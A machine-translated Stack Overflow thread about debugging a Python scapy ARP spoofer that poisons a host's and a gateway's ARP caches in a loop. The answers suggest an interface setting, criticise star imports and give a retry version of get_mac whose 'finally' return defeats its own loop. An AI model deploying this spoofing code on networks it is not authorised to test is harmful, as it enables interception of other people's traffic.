繁体   English   中英

Python 使用 scapy 模块的 ARP 欺骗器

[英]Python ARP spoofer using scapy module

我试图按照我在网上找到的教程编写一个基本的 arp 欺骗程序。 所以我编写了 arpSpoofer 的基本开始代码,但是当我执行它时会抛出 IndexError: list index out of range...我确定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我一直在尝试小时。 代码是这样的:

import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

确切的错误消息是:

Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

我会很感激一些帮助...在此先感谢::)

确实, answered_list必须为空。 在尝试提取碎片之前,您应该检查这种情况。

可能您需要告诉 Scapy 使用特定接口或调整您的路由规则。 iface参数添加到srp function。 在 Linux 上,这将类似于“eth0”或“enp1s0”。 在 Windows 上,这将是有意义的接口名称,例如“网络连接 1”或其他名称。

您可以在 scapy 中输入conf.iface来检查默认界面。 很多时候,默认选择的是错误的。 很可能,这就是你得到一个空列表的原因。

只需一句话:这是重复:

import scapy.all as scapy
from scapy import *

从模块或 package 导入 * 的做法通常不是好的做法,原因如下: Why import star in Python is a bad idea

以下是关于为什么不应该使用import *的一些要点:

  • 代码可读性
  • 导入的内容始终是一个谜,并且无法轻易找到 - 导入了某个东西的模块导致代码可读性低。
  • 污染命名空间import *导入您自己命名空间中可能与 function 和您定义的类或 function 和您可能导入的其他库的类发生冲突的所有函数和类。
  • 隐藏错误的具体可能性
  • pyflakes 之类的工具不能用于静态检测源代码中的错误。

最好只导入您需要的内容,例如:

from scapy.all import srp,send,ARP
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")

for i in ans:
    print(i[1].psrc, i[1].hwsrc)

我更改了 get_mac function 如下以确保mac不为空

def get_mac(ip):
mac = "xx"
while mac == "xx":
    try:
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
        mac = answered_list[0][1].hwsrc
        # print(mac)
    except:
        pass
    finally:
        return mac

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM